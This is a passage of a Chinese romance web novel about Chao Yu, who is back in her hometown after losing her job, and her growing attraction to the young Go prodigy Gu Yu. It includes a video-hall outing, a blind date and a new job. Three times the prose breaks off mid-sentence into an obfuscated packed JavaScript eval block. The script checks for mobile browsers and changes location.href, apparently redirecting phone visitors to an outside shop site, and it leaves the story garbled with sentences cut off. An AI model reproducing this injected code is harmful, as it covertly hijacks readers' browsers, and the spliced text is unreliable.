“去录像厅!你不是说洵州还有那种很老式的录像厅么?” 晁雨脑仁疼:“你不会让我单脚蹦过去吧?” “我拿轮椅推你。” “哪来的轮椅?” 晁雨真是小觑了许辰懿。 她出去晃了一圈就跟药房阿姨混得倍儿熟,还真给晁雨推了架轮椅回来。 晁雨本来是拒绝的,但她在家养了这么多天,着实也烦了。 便由着许辰懿把她推出去了。 一出去她就后悔了——许辰懿没推过轮椅,那叫一新鲜,推着晁雨走得耀武扬威的,引得过路的爷叔嬢嬢们都往这边看。 社恐如晁雨,差点没找条地缝钻进去。 到了录像厅门口,她又让晁雨在太阳底下晒着,自己跑去买那种最老式的装在塑料袋里的爆米花。 特兴奋跟晁雨说:“好多年没吃到过了!” 她让晁雨帮忙抱着爆米花,推着轮椅往里进,一路特大声跟人说:“我姐们儿腿折了!都让让,让让啊——” 晁雨:…… 硬生生整出了老佛爷出巡的架势。 好不容易到了座位,许辰懿把轮椅靠墙收纳好,走到晁雨身边坐下。 一弹薄得跟宣纸似的票根:“今儿放什么电影?票上怎么没写。” 格外复古的铅红字体,只印着日期、场次、座位号。 当然也没人按座位号坐。尤其盛夏令人昏昏欲睡的午后,早已过时的录像厅里根本没两个人。 晁雨告诉许辰懿:“没人知道放什么,看放映师傅当天的心情。一般就是些香港和好莱坞的老电影,看过无数遍的那些。” “嗬。”许辰懿压压下巴:“新鲜。” 但今天晁雨说错了。 居然放了部日本老片,《情书》,校园青春纯爱。 许辰懿嚼着爆米花,压低声跟晁雨闲聊:“这对你就是一教学片,你好好参悟参悟,什么是心动的感觉。” 晁雨怼她:“我没悟透,你就悟透了吗?” 话虽这样讲。 极具美感的镜头,却很容易将人拉入电影的情绪里去。 晁雨看着少男少女们的悸动,那对她来说,的确很陌生。 她的学生年代,是成堆成堆的卷子,是熬夜熬得额头冒油,是抱着题册匆匆路过篮球场目不斜视。 她的第一段恋爱发生在工作后,用尽真心却也四平八稳,她的确没体会过那种烈火燎原、却隐秘幽微的心动。 许辰懿继续嚼着爆米花,看着电影里男孩女孩一起骑单车的镜头,压低声道:“其实有什么好悟的,心动不就是看到那个人、你的小心脏就怦怦直跳呗。” 说话间,一道人影走进放映厅来。 录像厅来的人少,也没有正规影厅迟到多久就不让进场的规矩。 迟来的人高挑削薄,影子在幕布上一晃,很快找了个前排靠边的位置坐下了。 晁雨很快认出来,那是辜屿。 她想戳一下许辰懿,告诉许辰懿:“你总提的天菜弟弟来了。” 可手伸出一半,又缩回来,蜷住手指。 不知为什么不想说。 倒不是怕打扰辜屿。而是不说,好像这就变成了她一个人隐秘的心情。 这部《情书》以前晁雨也是看过的。对情节熟,就提供了走神的契机。 辜屿总是坐得很靠边。这次他们没隔几排,她的眼神扫过去,刚好可以看清银幕的光映亮他侧脸。 有那么一瞬,银幕淡淡的光一闪,辜屿的颈偏了偏,眼尾好似要朝后看来。 晁雨赶紧收回视线。 心跳并没有加快,而是跳空一拍。 然而那只是她的错觉。辜屿并没发现她的注视,也没朝后排看过来。 直到电影放完,辜屿悄然而快速地离场,许辰懿都没注意到他来过。 许辰懿把轮椅展开,又咋咋唬唬地把晁雨推出去。 录像厅外的阳光晃得两人同时眯了下眼。晁雨便是在这时问:“心动就是心跳怦怦加速的感觉么?” “那当然呗。”许辰懿道:“你没看电影里的小年轻,王八看绿豆看对眼的时候,那小心脏怦怦地都快从嗓子眼里跳出来了。” “你能看穿人的心跳?” “嗯哼。就姐们儿这双识人无数的眼,那简直跟X射线似的。” 晁雨失笑。 许辰懿咂一下嘴:“好不容易出来一趟,就这么回去太可惜了。咱喝奶茶去吧,就你高中校门口那家,离得不远吧?” 是不远。毕竟洵州的老城就这么大。 许辰懿就哼着小曲把晁雨推过去了。 店面不大,拢共就放着两张小圆桌。好在正值暑假,店里没什么人。 许辰懿走过去点奶茶,问晁雨:“喝什么?” “两倍糖。” 许辰懿上次是被这两倍糖的甜度腻到了:“我要三分糖吧。” 晁雨上高中的时候,店主是位胖阿姨。现在的店主,则是胖阿姨的女儿。许辰懿跟她闲聊:“两倍糖这么变态的甜度,是什么时候发明的啊?” “不知道。”店主摇摇头:“我妈开店那会儿,很早就有了。” 晁雨也告诉许辰懿:“可能就因为洵州人爱吃甜吧,反正我刚上高中那会儿就已经有了。” “牛掰。”许辰懿竖起大拇指。 两人回到家,吃过晚饭洗了澡,并排靠在床头,有一搭没一搭地闲聊。 许辰懿刷着手机,一声冷笑。 晁雨问:“怎么了?” 许辰懿把微信拿给她看:“这人跟我签了三百万的单子就想私下约我,我是那种人么?我要是想找大老板轮得到他?一来他那小破公司也没什么钱,二来他也不拿镜子照照自己,就他那秃瓢,活像长了几根毛的冬瓜。” 许辰懿这张嘴,是真毒。 晁雨一想,有点形象。 她问许辰懿:“那你到现在还没谈,想找个什么样的?” 许辰懿刷着手机,两条大长腿交叠起来,随口答:“心动的呗。” 晁雨忽然问:“你说,心动跟喜欢是一回事么?” 许辰懿想了想:“不是吧。你看咱们学生时代,不是老有什么一见钟情那种事么?就那种隔壁班的、话都没说过一句的那种。你说认都不认识人家,谈得上喜欢么?我觉得心动吧,更接近于你的小心脏跳了一下、痒了一下。” “那个英文词怎么说的来着?噢对,Crush。” “那跟感情可不是一回事,深度迷恋,跟中了邪一样不可控那种,但来得快也去得快,懂吧?” 晁雨想了想。 她谈过恋爱。 可她好像真没经历过这样的心动。 想完这些发现许辰懿正盯着她瞧,眯着眼像只不怀好意的狐狸。 晁雨问:“干嘛?” “你今天可问我好几次心动的事了啊。老实说,你是不是有情况?” “我哪有。” “其实我知道你看上谁了。” “……啊?”晁雨理了理薄毯的一角。 “虽然我希望你跟天菜弟弟有什么,但我知道你这种性格,其实喜欢成熟稳重的。咱今天下午去奶茶店的时候,店里有个五十来岁的老大爷,扛着根鱼竿看起来挺稳重的,你老实说,是不是看上人家了?” 晁雨反应过来,一巴掌拍在许辰懿肩上。 许辰懿差点没笑死。 晁雨跟许辰懿说:“别乱猜,我就是跟你进行单纯的学术探讨。” “别瞎琢磨了。我觉得这事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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领口洗得也松,有一点小小的波浪纹,随她靠柱浅眠的动作,往下滑一点、往左滑一点,不到失礼的程度,但露出柔腻的肩头和锁骨。 阳光一闪,辜屿的视线只停在她下巴上,觉得一抹白一晃。他视线悬停,倏尔移走了。 晁雨反应过来,等辜屿擦过她身边,她才赶紧拉一拉领口。 辜屿进了晁二柱房间,应该是来找什么东西的。 晁雨很难说每次见到辜屿这微妙的氛围,是真实存在还是她心理作祟。她想趁机溜回自己房间,却发现…… 脚麻了。 尴尬。尴,大,尬! 以至于辜屿不知进晁二柱房里拿了什么东西出来时,她还傻愣愣靠着檐柱坐在石阶上。 辜屿垂眸看了她一眼。 她的白不是苍白,是一种毓秀水土养出来的粉白。照在南方下午的阳光里,乌发披在肩头,像一株柔和的水生植物。 他本已走过了,却又转回来。手指不着痕迹地蜷了下,才对晁雨伸出一只手。 要拉她起来。 晁雨惊了:这都能看出我是因为脚麻了才继续坐着?这也跟智商有关? 她的手搁在自己腿上。 想说“不用了”。又觉得很正常的接触,为什么要躲? 她伸手攥住辜屿的手指,借力站起来的同时,很轻地蹙了下眉。 辜屿挑了下眉,意思是问她:怎么了? 她摇摇头:“没怎么。” 视线扫过辜屿的眉眼。很凌厉的一双眼,瞳色漆黑,似古人形容的剑眉星目。 寻常人接触到散漫又凌厉的视线,第一本能是回避。这一次,晁雨却一直看着他的眼。 回避了视线的是他。 辜屿放开晁雨的手,走了。 晁雨站在天井里,望着他背影。 “辜屿。” 辜屿回头。 “你是讨厌我的……吧?”晁雨咬了咬下唇的嘴皮,这样问道。 14. 第二件小事10 辜屿在原地站了半秒。 从物理意义上来说,晁雨觉得那应该就半秒的时间。但在心理上被无限拉长,她下意识又想去咬自己的嘴皮,又怕被辜屿凌厉的视线捕捉到任何情绪的端倪,就站在那,抿起一点点唇。 她都没想到自己会问得这么直接。 但每次遇到时这说不清道不明的氛围,真的,太烦人了。 至少她得先弄清辜屿对她的态度。如果辜屿就是像她从小以为的那样,讨厌她,那她以后躲着走就是了,不用去管心里那微妙得过分的感觉。 辜屿开口前的一瞬,天井里射来的阳光变成一道浅金细细的钱,吊着她的心脏玩大摆锤。 然后辜屿转身走了。 ……诶? 晁雨微怔在原地。 许辰懿从二楼探出一颗头来喊:“姐们儿,你晒太阳晒得怎么样了?” 晁雨仰起头。 许辰懿问:“晒干巴了?” “去你的。” 她上楼去找许辰懿,两人在她房间里躲阴凉。这老宅里什么物件都老,晁雨一支木簪还是她太奶奶那辈传下来的,黄杨木上雕着小小的桂花瓣。她晒太阳晒热了,把一头长发绾起来簪在脑后,对着那台豆沙绿的小电扇吹自己后颈。 许辰懿靠在床头玩手机,接起一个视频:“喂?” “江湖救急!”对方的声音和许辰懿同样高亢。 哟,这声音听起来怎么这么耳熟? 晁雨探头一看:果然是毛秀珍。 许辰懿真是人际关系的能手,这就跟毛秀珍加上微信了。 毛秀珍正在茶馆里打麻将呢,另两个牌搭子带来的小孙女和小外孙,这会儿闹了起来。 小女孩:“你无情!你无耻!你无理取闹!” 小男孩没反应。 小女孩用手指尖戳他胳膊:“你是不是讨厌我!你说!” 毛秀珍问许辰懿:“他俩吵起来了!吵得我脑瓜子嗡嗡的,一把清一色都没做成,怎么办呐?” 这就请教人际高手来了。 许辰懿听得直乐。 晁雨一手扶着床头挡板,手指抠着不知哪年哪代磨损出的一个缺。 呵、呵呵…… 许辰懿跟毛秀珍聊完扭头一看:“你怎么了?” 晁雨:“没怎么。” 只是一个二十六岁的成年女人悄悄碎掉了而已。 她心里的羞耻感快要爆炸了好吗!她都问了辜屿什么啊! “你是不是讨厌我”——那不是五六岁小孩才会问的问题吗! 许辰懿一听这种问题,嘎嘎嘎笑得跟大鹅似的! 晁雨一手扶了扶后颈,今天没吃黄花菜,也觉得低血压血都供不进脑子里。 忽然,许辰懿刷着手机脸色一变。 晁雨朝她看过去,她故作轻松把手机锁屏,往旁边一丢:“咱俩聊会儿天呗。” 晁雨直接拿起她手机解锁。她俩都知道对方手机密码。 不出所料。 许辰懿刚刚刷到的是一条朋友圈。 明恒宇穿得人五人六的,站在亚轩窗明几净的大会议室里跟大老板合影,文字的意思是他会好好准备该季度的述职。 看来是业绩不错,增持股份有望。 也不知这张照片,是不是跟他相好那实习生拍的。 晁雨把手机递还给许辰懿。 许辰懿赶紧先表忠心:“不是我不想把那老贱人拉黑啊!一来有工作往来,二来我不是得替你监视他动向么。” 晁雨笑笑。 许辰懿:“想骂你就骂出来,姐们儿陪你一起骂。” 晁雨还真不想。就像出事以后她也没想哭一样,觉得无济于事。 只不过现在,被她刻意用昂扬或平静的情绪屏蔽掉了。 现在被一张照片扯出来,其实她首先涌出的是疑惑: 疑惑明恒宇到底带给她事业上的打击更大?还是情感上的打击更大? 事业上,她这段时间一直刷招聘网站,也没发现合适的职位。 感情上……算了感情上她就不想提了。 她都开始问辜屿那种蠢问题了。 她为什么会觉得她和辜屿之间氛围奇怪?是在明恒宇那儿太受打击导致感情反射弧不正常了么? 问过幼儿园级别问题后她再也不想见辜屿了,但人生呐就是怕什么来什么。 这天下午毛秀珍被两个小孩吵得脑壳疼,输了钱,导致男孩们又来晁家蹭饭。 晁雨跟辜屿坐得八丈远,埋头苦吃。 葛洁盛了碗虾潺豆腐汤递她:“今天吃那么快干嘛?” 她一看葛洁那扑闪扑闪热切的眼神就知道有事。 果然葛洁说:“你上次提的那些要求,我都给你徐阿姨讲了呀。徐阿姨说有点难办,不过你这么优秀,要求高一点是应该的呀。” 晁雨心想,她有什么可优秀的。 她都失恋失业失去所有存款了,还排比上了。 葛洁:“但总归么是不好找的,所以你徐阿姨很费了一番功夫,现在么总算是找到了,情况发给我看了,小伙子多不错的。” “二十五岁,符合你要求,是弟弟呀。” 晁雨和许辰懿对视一眼。 这都能找到? “那你徐阿姨花了这么大功夫,你总归是要去见一下的呀。” 晁雨和许辰懿又对视一眼。 许辰懿先开口:“葛阿姨,要不先给我看看。您知道我这一双眼,看过的人可不少,贼毒。” “好的呀。” 葛洁打开手机上的简历给许辰懿看。 许辰懿一看都惊了——这PPT做的,快赶上亚轩了,现在相亲市场都这么卷的吗? 有一说一,二十五岁弟弟挑不出什么大错。 许辰懿笑着把手机递还葛洁:“这么好条件,要不优先考虑下您干女儿我,我比小雨还大几个月呢。” 她本意是替晁雨打个圆场。 晁雨:“没事,我去吧。” 一句话惊得满桌男生都把头抬了起来。 除了辜屿。他在喝一碗汤。 晁雨:“把你们那种‘不知哪个小子要倒霉了’的眼神收回去。” 马超哈哈打个圆场:“雨姐,这不是你小时候太威猛了么。” 吃完饭回房间,许辰懿问晁雨:“你真要去啊?” “去。” 在更大更快霓虹更闪的城市,感情用来变作砝码的事已屡见不鲜。但在晁雨的家乡,许辰懿的家乡,这里更慢也更古朴,人们还寄望感情保留一丝脉脉的温情。 许辰懿又问:“你是喜欢弟弟么?还是喜欢成熟稳重的?” “我也不知道。” 一次沉重打击没让她的内分泌紊乱,让她的情感感知有点紊乱。 她不知道自己喜欢什么样的,她只知道自己必须往前走。 无论事业、感情,她不能永远站在一片泥沼里,看着身边其他所有人都在往前走。 事业暂时没办法。那感情上她可以尝试一下。 否则看着明恒宇那意气风发的照片,真让她一口气憋在嗓子眼,吞不出、吐不下。 徐阿姨极有效率,安排了两天后见面。 晁雨自打回洵州后就没化过妆了,手都生了,往那面小铜镜前一坐,直接把眼线化飙了。 许辰懿看得倒吸一口凉气,拿棉签帮她擦了,替她重画。 又问:“穿什么?” 晁雨想了想,从衣柜里挑了件白衬衫和浅烟灰西裤。 许辰懿乐了:“你是去相亲,还是去面试?” 葛洁对这次相亲极其重视,非要晁二柱开着五菱宏光送她去。 结果一个路口等红灯后,晁二柱久久不启动。 晁雨:? “姐,抛锚了……”晁二柱:“要不你打个车过去吧。” 打什么车啊多费钱。 反正离餐厅也不远了,晁雨背着包走过去。 洵州夏天的日头不烈,是一种混沌的湿热。入了夜温度也没降下多少,黏答答地裹着人。 晁雨一路走过去,额发都汗湿了些,去洗手间稍作整理,又请服务员带位。 一个长相周正的年轻人坐在那里。 这是洵州新城区的一家西餐厅,人均不低,氛围灯仿造大城市喜欢的风格,暗得很有格调。年轻人的长相不算看得太清楚,只觉得温和儒雅。 晁雨走过去问:“请问是周先生么?” “我们互相叫名字吧。”年轻人站起来:“周旭尧。” “好啊。”晁雨点点头:“晁雨。” 他帮晁雨拉开丝绒软椅。晁雨落座后,他回自己座位,征询晁雨的意见点了单。 “要不,我先介绍下自己的情况?” 两人对看一眼,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她走到路边看了眼公交站牌,还好,能坐公交回去,不然打车多贵。 坐在车上收到毛秀珍的微信:[你相亲相完没?回来的时候帮我带杯奶茶呗。] 晁雨拿起手机凑近唇边:“你还喝?上次喝完不是说半夜三点还双眼瞪得像铜铃?” 毛秀珍又回:[这就是奶茶的乐趣。大肌肉胳膊.jpg] 晁雨笑。提前两站下车,绕到高中校门口,买了杯两倍糖的奶茶给毛秀珍拎回去。 老城的街道入了夜永远静悠悠。她踩着高跟鞋,走在生了苔的青石板路上。 酒气一点点涌上来,她开始觉得热。反正四下无人,抬手把衬衫的扣子解了一颗。 她有点后悔为社交礼仪穿什么高跟鞋了。 她有一身水乡养出来的好皮肤,优点是白、嫩,缺点是娇气。无论穿什么牌子的高跟鞋,走久了都在脚腕后磨出一道血痕。 老旧的青石板路被岁月磨得光洁。她索性把高跟鞋脱了,拎在手里。 灯光不与月光争辉,而是绞缠着相融。水乡小城的夜,连月光都比别处温柔。 她盯着自己的影子在身前一晃一晃。接着,她是先看到了辜屿铺在青石上的影子。 然后才看到了辜屿。 辜屿一身黑衣黑裤站在路灯下,衬得他身形清薄,目光淡淡地看着晁雨。 好像从没见过她化妆。 今晚淡淡的化了一点,又被灯光吃掉一部分,素淡的五官看起来比平时明艳些。她的皮肤太薄,喝了酒,一抹酡红从颧骨和眼尾泛出来。 显出极少见的一点媚态。 右手拎着杯奶茶,左手拎着双高跟鞋,衬衫扣子解开一颗,看到他明显一愣。 辜屿眼神只是在晁雨脸上恍了下,不露声色地往下垂落。 她赤着双脚站在青石板上,浅烟灰西裤下露出一双白腻的脚腕,好似在呼应衬衫领口白皙的锁骨,脚腕上有一道浅浅的、淡淡的疤。 辜屿也不知自己怎么想的,开口问:“相亲怎么样?” 晁雨又愣了下。 “哦。”晁雨带着丝像月光样轻薄的醉意,听见自己的声音故意说:“还不错啊。” 15. 第二件小事11 辜屿往前走去了,好像刚才只是随口一问。 晁雨也拎着奶茶和高跟鞋往前走,两人在路灯下交错而过。 那一刻,他身上有洁净而冷冽的味道袭来。 晁雨问自己:你为什么要说相亲还不错? 喝了酒脑子晕乎乎,她没在这个问题上纠缠,前方就是毛秀珍的小院,她拐进去,把奶茶交给正等她的毛秀珍。 毛秀珍插上吸管吸了一大口:“还是两倍糖爽啊!” 老太太身体倍儿棒,就这都没得高血糖。 “对了。”晁雨问:“你知道奶茶店什么开始有两倍糖的么?” 既然胖阿姨已退休,只好问毛秀珍这种资深老饕了。 毛秀珍挑起眉毛,奇怪地看她一眼。 “你不记得了么?”毛秀珍问道。 又来了。这熟悉的场景,熟悉的配方。 上一次,她忘了辜屿的小名是怎么来的,毛秀珍也是这样问她。 不知怎地,想起辜屿,心里那点微妙烦躁的感觉又来了。 她没跟毛秀珍继续纠缠下去,回了家。 - 许辰懿正等晁雨,问她相亲相得怎么样。 晁雨摇摇头:“我根本没做好进入下一段感情的准备。” 但是这场相亲倒带来了意外收获。 周旭尧第二天给晁雨打电话:“有兴趣来我公司看看么?” “啊?” “我们正在招界面优化设计,你也知道洵州这种小城市不好招人。虽然你是做建筑设计的,但你美术功底不错,有兴趣来聊聊么?” 周旭尧半开玩笑道:“不能走后门啊,还是得正经面试。” 晁雨想了想:“行。” 在洵州找一份专业对口的工作太难了。她总不能一直在家啃老。 总得要重新开始。 她换好衣服去了趟周旭尧公司。公司规模不大,现在总共不到十个员工,但构架健全,看得出是想长线发展。 周旭尧不在,晁雨跟人资总监和负责产品外观的主管聊了聊。 主管当下就给她开了Offer:“欢迎你加入我们。明天入职可以吗?” 薪水待遇跟北京没法比,但在洵州算不错。 晁雨回家把这事跟许辰懿说了。 许辰懿开心坏了,胳膊肘一勾晁雨的脖子:“姐姐今晚带你去个好地方。” “你别,我有点怕。” 到了晚上,晁雨就更怕了。 许辰懿直接把自己的行李箱拖过来,扒拉出好些裙子。 那些裙子都是许辰懿应酬客户的“战袍”,都是一线奢牌,有一手有二手,当时晁雨看价签看得心惊肉跳。 许辰懿真厉害,来洵州都带着这些裙子,以防随时有用武之地。 她一挥手,用那种“看朕为你打下的江山”的语气说:“选,随便选。” “……到底要去哪啊?” “你别管了。不选的话,我帮你选了。” 许辰懿挑了条白色打底的连衣裙,挂脖款。晁雨比她矮不少,但该丰满的地方让许辰懿第一次见时直呼“好家伙”,所以挂脖的绸带紧一紧,尺寸也算相合。 裙子是无袖款,挂脖的款式让两边肩头露出来,裸露的肌肤会比平时稍多那么一点,但用色和质地却极为淡雅,像八九十年代的复古风,所以整体有种有纯又欲的感觉。 为了配合裙子的款式,许辰懿还帮晁雨把头发在脑后盘起来。 晁雨:“到底去哪?你不说我就不去。” 许辰懿邪魅一笑:“哼哼,小样儿还能由得你?” 她比晁雨高那么多,拎小鸡崽儿一样把晁雨拎出去了。 两人一路走,晁雨才发现许辰懿把她带到了录像厅。 没想到的是,那帮男孩也在,等在门口。 看到两人过来,笑道:“谢谢辰辰姐请客。” “小意思。” 晁雨小声问:“为什么要请他们看电影?” 许辰懿还是那句:“你别管。” 更意外的是,辜屿也在。 他站在更远些的路灯下,蒙着只黑口罩,正在打电话,微微蹙着眉。 许辰懿:“我去买票。” 薄薄的宣纸一样的票根,依次发到每个人手上。 众人鱼贯而入,放映厅里除了他们还有两三个人,零星坐着。 也许好久没见录像厅有这么多人了,还纷纷扭头看了他们一眼。 选座位时,许辰懿和晁雨一排,男生们在后一排。 许辰懿还买了老式的荔枝味汽水和爆米花,咋咋唬唬地分给男生们。 独独递给辜屿一瓶纯净水。 辜屿看了眼,接了,没说什么。 许辰懿坐下后问晁雨:“你猜今天放什么?” “不知道。” 直到银幕画面映出来,才知道今天放《西西里的美丽传说》。 也是看了无数次的老片子了。 十三岁的少年骑着人生中的第一辆脚踏车,看着美丽而成熟的女人,撩动波浪状黑亮的发,踏着充满情欲诱惑的高跟鞋,来到了西西里岛的阳光小镇。 晁雨最后一次侧头跟许辰懿小声说话时,看到后排的辜屿摘下了口罩。 这是辜屿第一次坐在她后面看电影。 晁雨盯着银幕,手垂放在座椅扶手上,指尖无意识地、一下一下地轻敲。许辰懿在她旁边吭哧吭哧吃爆米花,后排间或传来男生们的声音。 其间没有辜屿的。 他素来沉默。 晁雨把手伸进爆米花袋子里。老式爆米花糖浆裹得不均匀,一颗白白的没有味道,下一颗糖浆多到黏在手指上。 放映厅的尘埃好似来自时光深处,在银幕淡白的光下绕着睫毛乱舞。 晁雨有那么一瞬的错觉,好像辜屿根本没坐在她身后。又有那么一瞬的错觉,觉得有一束视线落在她盘发起来的后颈。 她有刹那的冲动回过头去确认。 最终还是没有。 电影结束,众人涌出录像厅,许辰懿掏出手机招呼男孩们:“来来来,我们合照一张吧。” 晁雨用唇形问:“到底干嘛?” 许辰懿用胳膊肘捅她一下。 男生们涌到两人身后,许辰懿拍下照片。 唯独没拍照的是辜屿,他独自站在一旁。 既然出来了,男生们商量着去烧烤摊搓一顿。 许辰懿一挥手:“你们去吧,我们就不去了,怕胖。随便点,我报账。” “谢您嘞辰辰姐!” 两组人分道扬镳,许辰懿挽着晁雨的胳膊往家走。 一边低着头P手机上刚拍的照片,一边叫晁雨:“你看着点路。” 晁雨已经不想再问她要干嘛了,反正她也不回答。 直到她抬起头:“得嘞。”又把手机拿给晁雨看。 晁雨这才看到许辰懿发了条朋友圈。 图片是刚拍的那张照片,众人簇拥着晁雨很热闹的样子。配的文字是: [我亲姐们儿回老家当团宠,还即将喜迎事业第二春!可喜可贺,可口可乐!] 晁雨:…… 不用说,这肯定是发给明恒宇看的。 许辰懿忿忿不平地说:“凭什么他一个人混得风生水起的呀!你也得给他看看,离了他你过得好着呢!” “我……也不算太好吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581594|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “无所谓,朋友圈不都这样,人前光鲜,人后遭罪。” 合着许辰懿折腾这么一大圈就为了这个。 晁雨有点哭笑不得。但许辰懿这人就这样,里子面子她全都要。 许辰懿收起手机,这才跟晁雨聊刚才的电影:“你说弟弟是不是就喜欢姐姐?” “……啊?” “要我说,还是找弟弟好,荷尔蒙爆棚好嘛。”许辰懿笑嘻嘻:“这年头谁还能保证下半生的幸福啊?保证下半身的幸福就不错了。” 姐们儿,直接了。 晁雨也不知想到什么,沉默不语。 许辰懿启发她:“其实我觉得上次那个周旭尧,看起来还可以。” 晁雨摇头:“没感觉。” “那你对谁有感觉?” “对谁都没感觉。”晁雨道:“觉得弟弟好的话,你自己找个弟弟去。” “我是想找个弟弟啊。现在回想一下健身房里的帅弟弟,那腹肌练的,我真想上手摸一把。” 俩闺蜜聊天就这样,越扯越没正形。 快走到毛家小院的时候,许辰懿一拍脑袋:“糟了。” “怎么?” “我卫生巾用完了。” “我那儿有。” “我用不惯你那牌子。”许辰懿说着扭头往后:“你就在这等我吧,你脚刚好别一直走来走去了。” 晁雨就站在路灯下等她。 这时手机响,晁雨看了眼接起来:“喂。” 是周旭尧打来的:“我刚开完会,听说你明天要入职了?” 晁雨笑道:“是,谢谢你给我这个机会。” “我可什么都没跟他们说啊,靠你自己的能力。” 晁雨打着电话,在原地缓缓来回踱步。 然后倒吸一口凉气—— 鞋跟怎么卡下水井盖里了? 一阵脚步声。 晁雨握着手机,脸上还残存着跟周旭尧通话的礼貌笑意,扭头看去。 是辜屿正走过来。 他没跟男生们去吃烧烤? 手机里周旭尧还在介绍着公司的一些情况,辜屿走过晁雨身边,垂眸看了眼她卡住的高跟鞋。 在晁雨以为他就要这样走开的时候。 他蹲下来。 身材削薄,因此至今有着锋锐的少年气,蹲下时脊骨明显。晁雨垂眸,眼前是他的锋利,耳边是周旭尧的温厚。 周旭尧觉察到她的沉默,问:“你在听吗?” “我在啊。” 辜屿就那样蹲在她脚边,听着她和周旭尧的对话。 然后伸出双手—— 那是一个很明确的姿势。他要把晁雨的高跟鞋解救出来,需得一手握住高跟鞋,另一手去握晁雨的脚踝。 他有半秒的悬停,给晁雨留出拒绝的时间。 晁雨捏紧手机。 月光在人的颈后吊出一条细线,提着人神经一路往上,月光刮擦着那条神经几乎发出嗡鸣。 晁雨可以拒绝,但她没有。 她抿着唇,看辜屿握住了她的脚踝。 有那么一瞬她想要闭上眼,却强迫自己张开。辜屿指腹贴在她脚腕上那个小小的疤上,手指很凉。 而有时凉和灼烫的效果一样,都让人想要一缩。 高跟鞋卡得很死,辜屿费了点劲才帮她拔出来。 站起来,黑沉的双眸对上她,而这时她和周旭尧的对话甚至还在继续。周旭尧在电话里说:“那就这样,明天公司见。” “再见。”她这样说,然后挂断了电话。 辜屿这才开口:“你不是问我对你什么感觉吗?” 他说:“你真的很麻烦。” 16. 第二件小事12 说完辜屿便走了,孤身钻进爬满葡萄藤的月门,回了毛秀珍家的小院。 许辰懿回来的时候,见晁雨站在原处。 她一路快走过来:“等久了吧?哎唷你们家附近那小卖部,门口一个卖烟的玻璃柜怼着又不能自己进去选,看店的那老大爷耳朵还不好,我跟他唱山歌似的喊了好几轮,他才听明白我要什么。” “唐爷爷。”晁雨点点头:“他是那样。” 那是名退伍军人,七十好几了,在木安街尾开了家小卖部,人守旧又固执,大家都很帮衬他。 晁雨一整晚都表现得很正常。 直到许辰懿回了客房,她洗完澡躺回床上。 又坐起来,一手摁着自己的心跳,又觉得这个动作有点搞笑,把手放下来。 她终于发现,“怦然心动”是个颇具误导性的词。 它让人误以为,看到有感觉的那个人时,会本能的心跳加快、鼻尖冒汗。 其实不是。 心跳并不一定加快,而会跳空一拍。人也并不一定紧张,反而浮出一种类似急躁或烦躁的情绪。 那些感觉太具有误导性了。跟青春纯爱电影里既相似,又不同。 她分辨了很久,直到今晚辜屿握上她脚踝。 她几乎不用再去想自己对辜屿是什么感觉了。也不用再去问辜屿对她是什么感觉了。 那就像今晚所看的《西西里的美丽传说》一样,是一种极为强烈的荷尔蒙,作用在两人之间。 可……怎么会? 她对辜屿?辜屿对她? 在这个夏天之前,她甚至没有多注意过辜屿。 而且,他们是人生轨迹太过不同的两个人了。 按客观的世俗标准来评价,辜屿是数十年一见的围棋天才、冷傲却是全世界的宠儿、年仅二十二岁杀入福布斯青年精英榜。 她二十六岁被大城市淘汰、卡在个不上不下的年纪、回老家找了份一眼看得到头的工作。 她把这份感觉压在心里,谁都没说。连许辰懿都没说。 第二天,她正常去上班。 一切都很好,同事们也都和善,除了不是做她喜欢的建筑设计。 走出公司,看见许辰懿等在一棵梧桐树下冲她吹口哨。 她笑着走过去:“你怎么来了?” “你虽然没有男朋友,但你有亲姐们儿来接你下班啊。”许辰懿挽住她胳膊。 “走。”晁雨豪情满满地道:“我请你喝奶茶去。” 以前好惨好惨,连杯三块钱的奶茶都请不起,嘤。 往奶茶店走的时候,许辰懿拎拎自己的衬衫:“南方的夏天真不算好过,甚至没怎么觉得出汗,就黏了一身。” “因为湿度大。”晁雨道:“快下雨了。” “你这么知道?”这天色也看不出来啊。 晁雨一咧嘴:“我能闻出来。” 许辰懿挽着晁雨:“那咱走快点。” 走进店内,今天守店的居然是胖阿姨。 她还认得晁雨:“请年假回来玩啊?” “不是,我离职了。”晁雨笑问:“您女儿呢?” “去上海看演唱会啦,年轻人哦追星起来不得了。你还是要两倍糖?” “对,我朋友那杯三分糖。” 点完单靠窗坐下,她给毛秀珍发微信:[要下雨了,你从茶馆回家路上小心路滑。] 毛秀珍回:[哎唷,我还让二狗子去帮我买奶茶呢,他该淋雨了。] ……这老太太是有多爱喝奶茶。 店里并没碰到辜屿。 他应该买完已经走了。 店里今天不忙,晁雨跟胖阿姨闲聊一阵,忽然想起来问:“对了,店里是什么时候开始有两倍糖的?” 胖阿姨诧异看她一眼:“怎么,你不记得了吗?” 晁雨一怔。 怎么又是这句? 她迟缓摇头:“我真不知道。” 胖阿姨把两杯做好的奶茶送到她们桌边,晁雨伸手扶住,喜羊羊塑料纸刚用塑封机压过的那一圈,还透出一点温热。 “那年你和一个小男孩,从山里救了只小狗出来,雨下得太大了,你们不是在我店外面躲雨吗?” 